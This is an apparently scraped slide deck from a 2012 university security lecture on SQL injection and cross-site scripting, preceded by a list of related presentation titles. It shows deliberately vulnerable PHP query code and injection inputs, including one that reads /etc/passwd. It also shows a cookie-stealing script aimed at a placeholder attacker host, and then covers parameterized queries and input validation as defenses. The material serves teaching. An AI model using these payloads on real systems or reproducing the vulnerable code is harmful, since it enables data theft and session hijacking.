1 IS 2150 / TEL 2810 Introduction to Security James Joshi Associate Professor, SIS Lecture 12.1 Nov 20, 2012 SQL Injection Cross-Site Scripting.

Slides:



Advertisements
Similar presentations
PHP Form and File Handling
Advertisements

Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Web Security Never, ever, trust user inputs Supankar.
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
PHP Hypertext Preprocessor Information Systems 337 Prof. Harry Plantinga.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
How Did I Steal Your Database Mostafa
NAVY Research Group Department of Computer Science Faculty of Electrical Engineering and Computer Science VŠB-TUO 17. listopadu Ostrava-Poruba.
Dec 13 th CS555 presentation1 Yiwen Wang --“Securing the DB may be the single biggest action an organization can take to protect its assets” David C. Knox.
CROSS SITE SCRIPTING..! (XSS). Overview What is XSS? Types of XSS Real world Example Impact of XSS How to protect against XSS?
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
SQL Injection Cross-Site Scripting
Lecture 3 – Data Storage with XML+AJAX and MySQL+socket.io
Workshop 3 Web Application Security Li Weichao March
PHP Security.
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
CSCI 6962: Server-side Design and Programming JDBC Database Programming.
Introduction to InfoSec – Recitation 7 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Lecture 16 Page 1 CS 236 Online SQL Injection Attacks Many web servers have backing databases –Much of their information stored in a database Web pages.
Attacking Applications: SQL Injection & Buffer Overflows.
Web Scripting [PHP] CIS166AE Wednesdays 6:00pm – 9:50pm Rob Loy.
SYST Web Technologies SYST Web Technologies Databases & MySQL.
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
Top Five Web Application Vulnerabilities Vebjørn Moen Selmersenteret/NoWires.org Norsk Kryptoseminar Trondheim
OWASP Top Ten #1 Unvalidated Input. Agenda What is the OWASP Top 10? Where can I find it? What is Unvalidated Input? What environments are effected? How.
Database Access with PHP and MySQL CS356 Examples from Web Database Applications, by Hugh E. Williams & David Lane, O'Reilly, 2002.
Accessing Your MySQL Database from the Web with PHP (Ch 11) 1.
Just a Little PHP Programming PHP on the Server. Common Programming Language Features Comments Data Types Variable Declarations Expressions Flow of Control.
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
Security Attacks CS 795. Buffer Overflow Problem Buffer overflows can be triggered by inputs that are designed to execute code, or alter the way the program.
SQL INJECTIONS Presented By: Eloy Viteri. What is SQL Injection An SQL injection attack is executed when a web page allows users to enter text into a.
Aniket Joshi Justin Thomas. Agenda Introduction to SQL Injection SQL Injection Attack SQL Injection Prevention Summary.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
Web Application Vulnerabilities ECE 4112 Internetwork Security, Spring 2005 Chris Kelly Chris Lewis April 28, 2005 ECE 4112 Internetwork Security, Spring.
Controlling Web Site Access Using Logins CS 320. Basic Approach HTML form a php page that collects the username and password  Sends them to second PHP.
NMD202 Web Scripting Week5. What we will cover today PHP & MySQL Displaying Dynamic Pages Exercises Modifying Data PHP Exercises Assignment 1.
WEB SECURITY WEEK 2 Computer Security Group University of Texas at Dallas.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
Security Attacks CS 795. Buffer Overflow Problem Buffer overflow Analysis of Buffer Overflow Attacks.
8 Chapter Eight Server-side Scripts. 8 Chapter Objectives Create dynamic Web pages that retrieve and display database data using Active Server Pages Process.
Module: Software Engineering of Web Applications Chapter 3 (Cont.): user-input-validation testing of web applications 1.
INFO 344 Web Tools And Development CK Wang University of Washington Spring 2014.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
Web Applications Attacks A: SQL Injection Stored Cross Site Scripting Prof. Reuven Aviv Department of Computer Science Tel Hai Academic College Topics.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
Radoslav Georgiev Telerik Corporation
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Web Security (cont.) 1. Referral issues r HTTP referer (originally referrer) – HTTP header that designates calling resource  Page on which a link is.
CSE509 System Security Attacks against the server-side of web applications Nick Nikiforakis
Group 18: Chris Hood Brett Poche
Module: Software Engineering of Web Applications
Building Secure ColdFusion Applications
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
Introduction to Dynamic Web Programming
SQL Injection.
Chapter 19 PHP Part III Credits: Parts of the slides are based on slides created by textbook authors, P.J. Deitel and H. M. Deitel by Prentice Hall ©
SQL Injection Attacks Many web servers have backing databases
PHP / MySQL Introduction
Web Systems Development (CSC-215)
PHP: Security issues FdSc Module 109 Server side scripting and
Lecture 2 - SQL Injection
Presentation transcript:

1 IS 2150 / TEL 2810 Introduction to Security James Joshi Associate Professor, SIS Lecture 12.1 Nov 20, 2012 SQL Injection Cross-Site Scripting

Goals Overview SQL Injection Attacks Cross-Site Scripting Attacks Some defenses 2

Web Applications Three-tier applications Make queries and updates against the database Scalability issue 3

Web Applications N-tier Architecture 4

SQL Injection – how it happens In Web application values received from a Web form, cookie, input parameter, etc., are not typically validated before passing them to SQL queries to a database server. Dynamically built SQL statements an attacker can control the input that is sent to an SQL query and manipulate that input the attacker may be able to execute the code on the back-end database. 5

HTTP Methods: Get and Post POST Sends information pieces to the Web Server Fill the web form & submit $quantity = $_POST['quantity']; $item = $_POST['item']; $quantity = $_POST['quantity']; $item = $_POST['item']; 6

HTTP Methods: Get and Post GET method Requests the server whatever is in the URL $quantity = $_GET['quantity']; $item = $_GET['item']; $quantity = $_GET['quantity']; $item = $_GET['item']; At the end of the URL: "?item=##&quantity=##" At the end of the URL: "?item=##&quantity=##" 7

SQL Injection To view products less than $100 val is used to pass the value you want to check for PHP Scripts create a SQL statement based on this // connect to the database $conn = mysql_connect(“localhost”,“username”,“password”); // dynamically build the sql statement with the input $query = “SELECT * FROM Products WHERE Price < ‘$_GET[“val”]’ ”. “ORDER BY ProductDescription”; // execute the query against the database $result = mysql_query($query); // iterate through the record set // CODE to Display the result SELECT * FROM Products WHERE Price <‘100.00’ ORDER BY ProductDescription; SELECT * FROM Products WHERE Price <‘100.00’ ORDER BY ProductDescription; 8

SQL Injection OR ‘1’=‘1 SELECT * FROM Products WHERE Price <‘ OR ‘1’=‘1’ ORDER BY ProductDescription; SELECT * FROM Products WHERE Price <‘ OR ‘1’=‘1’ ORDER BY ProductDescription; The WHERE condition is always true So returns all the product ! 9

SQL Injection CMS Application (Content Mgmt System) // connect to the database $conn = mysql_connect(“localhost”,“username”,“password”); // dynamically build the sql statement with the input $query = “SELECT userid FROM CMSUsers WHERE user = ‘$_GET[“user”]’ ”. “AND password = ‘$_GET[“password”]’”; // execute the query against the database $result = mysql_query($query); $rowcount = mysql_num_rows($result); // if a row is returned then the credentials must be valid, so // forward the user to the admin pages if ($rowcount ! = 0){header(“Location: admin.php”);} // if a row is not returned then the credentials must be invalid else {die(‘Incorrect username or password, please try again.’)} SELECT userid FROM CMSUsers WHERE user = ‘foo’ AND password = ‘bar’; SELECT userid FROM CMSUsers WHERE user = ‘foo’ AND password = ‘bar’; 10

SQL Injection CMS Application (content Mgmt System) Remaining code $rowcount = mysql_num_rows($result); // if a row is returned then the credentials must be valid, so // forward the user to the admin pages if ($rowcount ! = 0){header(“Location: admin.php”);} // if a row is not returned then the credentials must be invalid else {die(‘Incorrect username or password, please try again.’)} SELECT userid FROM CMSUsers ’ WHERE user = ‘foo’ AND password = ‘bar ’ OR ‘1’=’1’; SELECT userid FROM CMSUsers ’ WHERE user = ‘foo’ AND password = ‘bar ’ OR ‘1’=’1’; OR ‘1’=’1 11

Dynamic String Building PHP code for dynamic SQL string Key issue – no validation An attacker can include SQL statement as part of the input !! anything following a quote is a code that it needs to run and anything encapsulated by a quote is data // a dynamically built sql string statement in PHP $query = “SELECT * FROM table WHERE field = ‘$_GET[“input”]’”; // a dynamically built sql string statement in PHP $query = “SELECT * FROM table WHERE field = ‘$_GET[“input”]’”; 12

Be careful with escape characters like single-quote (string delimiter) E.g. the blank space ( ), double pipe (||), comma (,), period (.), (*/), and double-quote characters (“) have special meanings --- in Oracle Incorrect Handling of Escape Characters -- The pipe [||] character can be used to append a function to a value. -- The function will be executed and the result cast and concatenated An asterisk followed by a forward slash can be used to terminate a -- comment and/or optimizer hint in Oracle = */ from dual— 13

Incorrect Handling of Types // build dynamic SQL statement $SQL = “SELECT * FROM table WHERE field = $_GET[“userid”]”; // execute sql statement $result = mysql_query($SQL); // check to see how many rows were returned from the database $rowcount = mysql_num_rows($result); // iterate through the record set returned $row = 1; while ($db_field = mysql_fetch_assoc($result)) { if ($row <= $rowcount){ print $db_field[$row]. “ ”; $row++; } Numeric INPUT: 1 UNION ALL SELECT LOAD_FILE(‘/etc/passwd’)-- INPUT: 1 UNION ALL SELECT LOAD_FILE(‘/etc/passwd’)-- 14

UNION Statements Exploit: First part is original query Inject UNION and the second part Can read any table Fails or Error if the following not met The queries must return same # columns Data types of the two SELECT should be same (compatible) Challenge is finding the # columns SELECT column-1,column-2,…,column-N FROM table-1 UNION [ALL] SELECT column-1,column-2,…,column-N FROM table-2 SELECT column-1,column-2,…,column-N FROM table-1 UNION [ALL] SELECT column-1,column-2,…,column-N FROM table-2 15

Defenses Parameterization Key reason – SQL as String !! (dynamic SQL) Use APIs – and include parameters Example – Java + JDBC Connection con = DriverManager.getConnection(connectionString); String sql = “SELECT * FROM users WHERE username=? AND password=?”; PreparedStatement lookupUser = con.prepareStatement(sql); // Add parameters to SQL query lookupUser.setString(1, username); // add String to position 1 lookupUser.setString(2, password); // add String to position 2 rs = lookupUser.executeQuery(); Connection con = DriverManager.getConnection(connectionString); String sql = “SELECT * FROM users WHERE username=? AND password=?”; PreparedStatement lookupUser = con.prepareStatement(sql); // Add parameters to SQL query lookupUser.setString(1, username); // add String to position 1 lookupUser.setString(2, password); // add String to position 2 rs = lookupUser.executeQuery(); 16

Defenses Parameterization PHP example with MySQL $con = new mysqli(“localhost”, “username”, “password”, “db”); $sql = “SELECT * FROM users WHERE username=? AND password=?”; $cmd = $con->prepare($sql); // Add parameters to SQL query // bind parameters as strings $cmd->bind_param(“ss”, $username, $password); $cmd->execute(); $con = new mysqli(“localhost”, “username”, “password”, “db”); $sql = “SELECT * FROM users WHERE username=? AND password=?”; $cmd = $con->prepare($sql); // Add parameters to SQL query // bind parameters as strings $cmd->bind_param(“ss”, $username, $password); $cmd->execute(); 17

Defenses Parameterization PL/SQL DECLARE username varchar2(32); password varchar2(32); result integer; BEGIN Execute immediate ‘SELECT count(*) FROM users where username=:1 and password=:2’ into result using username, password; END; DECLARE username varchar2(32); password varchar2(32); result integer; BEGIN Execute immediate ‘SELECT count(*) FROM users where username=:1 and password=:2’ into result using username, password; END; 18

Defenses Validating Input Validate compliance to defined types Whitelisting: Accept those known to be good Blacklisting: Identify bad inputs  Data type/size/range/content Regular expression ^d{5}(-\d{4})?$ [for zipcode] Try to filter blacklisted characters (can be evaded) 19

Sources for other defenses Other approaches available – OWA Security Project ( 20

Cross-Site Scripting 21

Cross Site Scripting XSS : Cross-Site Scripting Quite common vulnerability in Web applications Allows attackers to insert Malicious Code To bypass access To launch “phishing” attacks Cross-Site” -foreign script sent via server to client Malicious script is executed in Client’s Web Browser

Cross Site Scripting Scripting: Web Browsers can execute commands Embedded in HTML page Supports different languages (JavaScript, VBScript, ActiveX, etc.) Attack may involve Stealing Access Credentials, Denial-of-Service, Modifying Web pages, etc. Executing some command at the client machine

Overview of the Attack GET /welcomePage.cgi?name=Mark%20Anthony HTTP/1.0 Host: GET /welcomePage.cgi?name=Mark%20Anthony HTTP/1.0 Host: Name = Mark Anthony Target Server Client Welcome! Hi Mark Anthony Welcome To Our Page... Welcome! Hi Mark Anthony Welcome To Our Page... page

Overview of the Attack Target Server Client Welcome! Hi alert(document.cookie) Welcome To Our Page... Welcome! Hi alert(document.cookie) Welcome To Our Page... Page with link GET /welcomePage.cgi?name= alert(document.cookie) HTTP/1.0 Host: GET /welcomePage.cgi?name= alert(document.cookie) HTTP/1.0 Host: Page has link: alert (document.cookie) Page has link: alert (document.cookie) When clicked -Opens a browser window -All cookie related to TargetServer displayed -Opens a browser window -All cookie related to TargetServer displayed Attacker

Overview of the Attack In a real attack – attacker wants all the cookie!! Page has link: window.open(“ht tp:// Page has link: window.open(“ht tp:// Welcome! Hi window.open(“ Welcome To Our Page... Welcome! Hi window.open(“ Welcome To Our Page... -Calls collect.cgi at attacker.site -All cookie related to TargetServer are sent as input to the cookie variable -Cookies compromised !! -Attacker can impersonate the victim at the TargetServer !! -Calls collect.cgi at attacker.site -All cookie related to TargetServer are sent as input to the cookie variable -Cookies compromised !! -Attacker can impersonate the victim at the TargetServer !!

Defenses Properly sanitize input E.g., filter out “ ” Fireforx Nscript Plugin does it But client is not responsible – developers need to be careful Built-in brower security Selectively disable client-side scripting Safe browsing practice 27